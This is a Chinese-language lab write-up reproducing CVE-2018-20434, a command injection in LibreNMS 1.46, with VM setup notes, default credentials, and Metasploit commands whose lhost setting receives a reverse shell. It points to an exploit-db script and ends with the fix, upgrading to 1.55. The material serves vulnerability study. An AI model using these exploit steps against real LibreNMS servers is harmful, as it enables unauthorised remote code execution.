CVE-2018-20434 LibreNMS 1.46 - 'addhost' RCE漏洞复现

0X1 漏洞概述

LibreNMS是一款基于PHP/MySQL/SNMP的自动发现的网络监控系统,其中包括对广泛的网络硬件和操作系统的支持,包括Cisco,Linux,FreeBSD,Juniper,Brocade,Foundry,HP等。

最近在复现其最新的漏洞的时候,顺带着复现其中之前的一个漏洞编号为CVE-2018-20434的漏洞。

漏洞触发在LibreNMS 1.46及之前版本中的capture.inc.php文件,文件所在位置:

/opt/librenms/html/includes/output/capture.inc.php

通过在添加新设备时在public community参数中添加任意命令来触发利用,该命令会将未处理的请求发送到"addhost.inc.php"文件,因此,对注入的请求执行的任何系统执行都将导致远程执行代码。调用"capture.inc.php"将通过"popen"方法授予我们该行为,但是您可以通过请求以[file_name] .inc.php为参数的"ajax_output.php"来访问它。

漏洞分析具体详情可以参考如下翻译文章和原文

https://www.anquanke.com/post/id/16929
https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/

0X2 环境搭建

漏洞虚拟机环境下载地址

https://github.com/librenms/packer-builds/releases/tag/1.46
或者
链接:https://pan.baidu.com/s/1bKMZuMa7crCf81wz2uSsAA  提取码:vvtr

下载librenms-ubuntu-18.04-amd64.ova文件

下载完成之后,使用虚拟机软件打开即可。由于是第一次打开,一直没有获取到IP地址,经过分析发现是网口名称和配置文件中的网口名称不一致,所以需要修改一下网络配置文件,两个名称保持一致即可。

然后重启一下系统即可获取到IP地址。

使用浏览器访问80端口即可到登录页面

http://192.168.0.107/login

官网的虚拟机默认口令信息如下

SSH
用户名:librenms
密码:CDne3fwdfds

MySQL/MariaDB
用户名:librenms
密码:D42nf23rewD

WebUI
用户名:librenms
密码:D32fwefwef

使用WebUI账户登录即可

即可看到我们当前的系统环境信息。

0X3 漏洞利用

方法1:

漏洞利用脚本已经在metasploit中集成,可以使用如下脚本进行攻击

use exploit/linux/http/librenms_addhost_cmd_inject

设置参数

set rhosts 192.168.0.107
set username librenms
set password D32fwefwef
set lhost 192.168.0.105

然后输入run命令利用

即可成功拿到shell。

但是这样的方式需要账户信息,条件比较苛刻。

方法2:

下载漏洞利用的py脚本

https://www.exploit-db.com/exploits/47044

利用过程参数需要cookie,浏览器抓包得到cookie信息

http://ip/devices/device=2/tab=capture/

然后作为参数带入:

kali中监听得到反弹的shell

即可利用成功!

0X4 漏洞修复

升级到最新的1.55版本即可

0X5 参考链接

https://docs.librenms.org/Installation/Images/
https://github.com/librenms/packer-builds/releases/tag/1.46
https://github.com/rapid7/metasploit-framework/blob/9edf92434cabbce83414204c30acdc8d6cda675f/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md

本文分享自微信公众号 - 安全漏洞环境学习(gh_ddd854e535b8)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券